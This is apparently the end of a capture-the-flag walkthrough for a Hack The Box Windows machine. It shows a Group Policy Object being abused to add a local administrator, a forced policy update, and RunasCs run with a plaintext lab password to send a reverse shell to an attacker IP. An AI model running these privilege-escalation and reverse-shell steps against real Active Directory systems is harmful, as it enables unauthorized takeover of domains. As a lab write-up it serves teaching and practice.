[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "mal" is: {BD2BDC67-19F3-49AD-BE64-1846401E4EA7}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{BD2BDC67-19F3-49AD-BE64-1846401E4EA7}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
Let’s force update the new GP Policy.
1
2
3
4
5
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
Exit the current SSH session of M.SchoolBus to let it take effect. Switch to your other SSH Session as f.frizzle transfer RunasCs and execute a reverse shell.
1
2
3
4
5
PS C:\Users\f.frizzle> .\runas.exe M.SchoolBus '!suBcig@MehTed!R' powershell.exe -r 10.10.16.30:1234
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-48d38$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4436 created in background.
This is a very dumb shell, so good luck.
This post is licensed under CC BY 4.0 by the author.